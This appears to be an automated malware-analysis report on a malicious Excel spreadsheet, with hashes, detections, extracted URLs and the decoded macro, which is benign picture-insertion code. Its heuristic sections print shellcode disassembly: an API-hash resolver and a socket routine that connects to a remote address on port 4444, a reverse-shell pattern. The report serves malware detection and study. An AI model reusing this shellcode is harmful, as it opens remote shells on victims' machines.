Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 8f2817c8efac0ab7…

MALICIOUS

Office (OLE) / .XLS

67.0 KB Created: 2007-08-27 02:31:36 Authoring application: Microsoft Excel First seen: 2026-07-03
MD5: 38dae8e750e4d3c5a890c3fae8e1b78f SHA-1: 69a05a0ca675548a01cefa97d029ee2068fdad16 SHA-256: 8f2817c8efac0ab7148b39406ea8c3aaadeb2df696e01c0366ad8aff15b7fdeb
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel spreadsheet containing VBA macros that are designed to insert a picture from a specified location. The VBA code includes logic to handle file paths and URLs, and the presence of heuristics like 'SC_PEB_ACCESS' and 'SC_API_HASH_RESOLVER' suggests the macro may be attempting to exploit vulnerabilities or download additional payloads. The macro's primary function appears to be to download and display an image, potentially as a lure for further malicious activity.

Heuristics 7

  • ClamAV: Xls.Exploit.Generic-6705249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Exploit.Generic-6705249-0
  • NOP sled detected high SC_NOP_SLED
    Found 20+ consecutive 0x90 bytes
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'nop' is 100% of instructions — a sled or padding/filler run, not program logic).
  • PEB access via FS segment (x86) high SC_PEB_ACCESS
    PEB access via FS segment (x86)
    Disassembly
    x86 disassembly · validity: code (0.969) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00009D69  648b5230          mov edx, dword ptr fs:[edx + 0x30]
00009D6D  8b520c            mov edx, dword ptr [edx + 0xc]
00009D70  8b5214            mov edx, dword ptr [edx + 0x14]
00009D73  8b7228            mov esi, dword ptr [edx + 0x28]
00009D76  31ff              xor edi, edi
00009D78  0fb74a26          movzx ecx, word ptr [edx + 0x26]
00009D7C  31c0              xor eax, eax
00009D7E  ac                lodsb al, byte ptr [esi]
00009D7F  3c61              cmp al, 0x61
00009D81  7c02              jl 0x9d85
00009D83  2c20              sub al, 0x20
00009D85  c1cf0d            ror edi, 0xd
00009D88  01c7              add edi, eax
00009D8A  49                dec ecx
00009D8B  75ef              jne 0x9d7c
00009D8D  52                push edx
00009D8E  8b5210            mov edx, dword ptr [edx + 0x10]
00009D91  8b423c            mov eax, dword ptr [edx + 0x3c]
00009D94  57                push edi
00009D95  01d0              add eax, edx
00009D97  8b4078            mov eax, dword ptr [eax + 0x78]
00009D9A  85c0              test eax, eax
00009D9C  744c              je 0x9dea
00009D9E  01d0              add eax, edx
00009DA0  8b4818            mov ecx, dword ptr [eax + 0x18]
00009DA3  8b5820            mov ebx, dword ptr [eax + 0x20]
00009DA6  50                push eax
00009DA7  01d3              add ebx, edx
00009DA9  85c9              test ecx, ecx
00009DAB  743c              je 0x9de9
00009DAD  31ff              xor edi, edi
00009DAF  49                dec ecx
00009DB0  8b348b            mov esi, dword ptr [ebx + ecx*4]
00009DB3  01d6              add esi, edx
00009DB5  31c0              xor eax, eax
00009DB7  c1cf0d            ror edi, 0xd
00009DBA  ac                lodsb al, byte ptr [esi]
00009DBB  01c7              add edi, eax
00009DBD  38e0              cmp al, ah
00009DBF  75f4              jne 0x9db5
00009DC1  037df8            add edi, dword ptr [ebp - 8]
00009DC4  3b7d24            cmp edi, dword ptr [ebp + 0x24]
00009DC7  75e0              jne 0x9da9
  • PEB API-hash resolver high SC_API_HASH_RESOLVER
    PEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
    Disassembly
    x86 disassembly · validity: code (0.969) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00009D69  648b5230          mov edx, dword ptr fs:[edx + 0x30]
00009D6D  8b520c            mov edx, dword ptr [edx + 0xc]
00009D70  8b5214            mov edx, dword ptr [edx + 0x14]
00009D73  8b7228            mov esi, dword ptr [edx + 0x28]
00009D76  31ff              xor edi, edi
00009D78  0fb74a26          movzx ecx, word ptr [edx + 0x26]
00009D7C  31c0              xor eax, eax
00009D7E  ac                lodsb al, byte ptr [esi]
00009D7F  3c61              cmp al, 0x61
00009D81  7c02              jl 0x9d85
00009D83  2c20              sub al, 0x20
00009D85  c1cf0d            ror edi, 0xd
00009D88  01c7              add edi, eax
00009D8A  49                dec ecx
00009D8B  75ef              jne 0x9d7c
00009D8D  52                push edx
00009D8E  8b5210            mov edx, dword ptr [edx + 0x10]
00009D91  8b423c            mov eax, dword ptr [edx + 0x3c]
00009D94  57                push edi
00009D95  01d0              add eax, edx
00009D97  8b4078            mov eax, dword ptr [eax + 0x78]
00009D9A  85c0              test eax, eax
00009D9C  744c              je 0x9dea
00009D9E  01d0              add eax, edx
00009DA0  8b4818            mov ecx, dword ptr [eax + 0x18]
00009DA3  8b5820            mov ebx, dword ptr [eax + 0x20]
00009DA6  50                push eax
00009DA7  01d3              add ebx, edx
00009DA9  85c9              test ecx, ecx
00009DAB  743c              je 0x9de9
00009DAD  31ff              xor edi, edi
00009DAF  49                dec ecx
00009DB0  8b348b            mov esi, dword ptr [ebx + ecx*4]
00009DB3  01d6              add esi, edx
00009DB5  31c0              xor eax, eax
00009DB7  c1cf0d            ror edi, 0xd
00009DBA  ac                lodsb al, byte ptr [esi]
00009DBB  01c7              add edi, eax
00009DBD  38e0              cmp al, ah
00009DBF  75f4              jne 0x9db5
00009DC1  037df8            add edi, dword ptr [ebp - 8]
00009DC4  3b7d24            cmp edi, dword ptr [ebp + 0x24]
00009DC7  75e0              jne 0x9da9
  • x86 push-string-call medium SC_PUSH_STRING
    Shellcode-style PUSH imm32 sequence builds an execution, network, or Windows API string on the stack
    Disassembly
    x86 disassembly · validity: code (1.0) — 8/8 branch targets land on an instruction boundary (100% coherence)
    00009DF4  6833320000        push 0x3233
00009DF9  687773325f        push 0x5f327377
00009DFE  54                push esp
00009DFF  684c772607        push 0x726774c
00009E04  89e8              mov eax, ebp
00009E06  ffd0              call eax
00009E08  b890010000        mov eax, 0x190
00009E0D  29c4              sub esp, eax
00009E0F  54                push esp
00009E10  50                push eax
00009E11  6829806b00        push 0x6b8029
00009E16  ffd5              call ebp
00009E18  6a0a              push 0xa
00009E1A  680a00020f        push 0xf02000a
00009E1F  680200115c        push 0x5c110002
00009E24  89e6              mov esi, esp
00009E26  50                push eax
00009E27  50                push eax
00009E28  50                push eax
00009E29  50                push eax
00009E2A  40                inc eax
00009E2B  50                push eax
00009E2C  40                inc eax
00009E2D  50                push eax
00009E2E  68ea0fdfe0        push 0xe0df0fea
00009E33  ffd5              call ebp
00009E35  97                xchg edi, eax
00009E36  6a10              push 0x10
00009E38  56                push esi
00009E39  57                push edi
00009E3A  6899a57461        push 0x6174a599
00009E3F  ffd5              call ebp
00009E41  85c0              test eax, eax
00009E43  740a              je 0x9e4f
00009E45  ff4e08            dec dword ptr [esi + 8]
00009E48  75ec              jne 0x9e36
00009E4A  e867000000        call 0x9eb6
00009E4F  6a00              push 0
00009E51  6a04              push 4
00009E53  56                push esi
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://i.microsoft.com/global/En/us/PublishingImages/SLWindowPane/Office2010_T.png In document text (OLE body)
    • http://www.website.com/MyPic.jpg)F8:G10In document text (OLE body)
    • http://www.website.com/MyPic.jpgIn document text (OLE body)
    • http://i.microsoft.com/global/En/us/PublishingImages/SLWindowPane/Office2010_T.png�In document text (OLE body)
🗂 Part of campaign: shared payload f522599427 4 samples

Related samples 6

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2587 bytes
SHA-256: f52259942723f63e5c776c4ed3b05fb80d544cfee2542ba66e3c48b7beeb9fbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
' Downloaded from www.contextures.com
Private Sub Worksheet_Change(ByVal Target As Range)
   If Not Intersect(Target, Range("rngDisplayName")) Is Nothing Then
         InsertPicFromFile _
            strFileLoc:=Range("rngFileLocation").Value, _
            rDestCells:=Range("rngPicDisplayCells"), _
            blnFitInDestHeight:=True, _
            strPicName:="MyDVPic"
   End If
End Sub


Attribute VB_Name = "modShowFilePics"
Option Explicit
' Downloaded from www.contextures.com
'******************************
'* InserPicFromFile           *
'* Programmer: Ron Coderre    *
'* Last Update: 20-SEP-2007   *
'******************************
Sub InsertPicFromFile( _
   strFileLoc As String, _
   rDestCells As Range, _
   blnFitInDestHeight As Boolean, _
   strPicName As String)

   Dim oNewPic As Shape
   Dim shtWS As Worksheet

   Set shtWS = rDestCells.Parent

   On Error Resume Next
   'Delete the named picture (if it already exists)
   shtWS.Shapes(strPicName).Delete
   
   On Error Resume Next
   With rDestCells
      'Create the new picture
      '(arbitrarily sized as a square that is the height of the rDestCells)
      Set oNewPic = shtWS.Shapes.AddPicture( _
         Filename:=strFileLoc, _
         LinkToFile:=msoFalse, _
         SaveWithDocument:=msoTrue, _
         Left:=.Left + 1, Top:=.Top + 1, Width:=.Height - 1, Height:=.Height - 1)
      
      'Maintain original aspect ratio and set to full size
      oNewPic.LockAspectRatio = msoTrue
      oNewPic.ScaleHeight Factor:=1, RelativeToOriginalSize:=msoTrue
      oNewPic.ScaleWidth Factor:=1, RelativeToOriginalSize:=msoTrue
      
      If blnFitInDestHeight = True Then
         'Resize the picture to fit in the destination cells
         oNewPic.Height = .Height - 1
      End If
      
      'Assign the desired name to the picture
      oNewPic.Name = strPicName
   End With 'rCellDest
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.